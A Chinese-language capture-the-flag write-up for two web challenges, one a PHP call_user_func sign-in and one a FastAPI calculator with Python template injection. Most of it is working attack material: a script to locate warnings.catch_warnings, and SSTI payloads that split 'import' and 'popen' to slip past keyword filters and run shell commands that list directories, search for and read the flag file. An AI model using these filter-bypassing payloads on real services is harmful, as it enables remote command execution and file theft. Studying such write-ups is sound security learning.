比赛期间有点事导致到最后才开始看题,比赛很好,师傅们出的题目质量很高,不过我很菜,都不会,就会签到。做了两道web。这里写一下我的解题过程。
打开题目看到
考察call_user_func的使用 call_user_func — 把第一个参数作为回调函数调用 传参?f=phpinfo得到phpinfo界面
然后调用就可以了,用大佬们的话说就是,有手就行。
打开题目只看到了如下
然后我就去百度了下关于fastapi的相关知识
FastAPI 是一个高性能 Web 框架,用于构建 API。
在一个师傅的文章下看到了接口文档docs,访问页面
测试后发现get传参无法利用,post传参进行计算
感觉是SSTI,经过测试发现确实是SSTI
然后便开始尝试利用
{str(''.__class__.__base__.__subclasses__())}
这里我们要用到python中的一个模块warnings.catch_warnings
,但是我们并在不知道这个模块所在下标
可以写个简单的脚本输出一下
import requests
url = "http://7c68b783-4649-47bf-9f21-8c48f80f3faa.chall.ctf.show/cccalccc"
for i in range(200):
data = {
'q':"{str([].__class__.__base__.__subclasses__()["+str(i)+"])}"
}
res = requests.post(url=url,data=data).text
if 'warnings.catch_warnings' in res:
print (i)
知道了模块的下标更方便我们接下来的利用。经过测试发现eval,system,import
等都被禁用了,使用imp+ort的形式绕过
读取文件
{str()''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read())}
发现目录下没有flag文件,全局搜索flag
{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find / |grep flag').read())}
不过这个payload好像并没有用,找不到我们想要的
用下面的payload可以找到flag。
{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read())}
读取flag
{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read())}
努力是成功的必要但不充分条件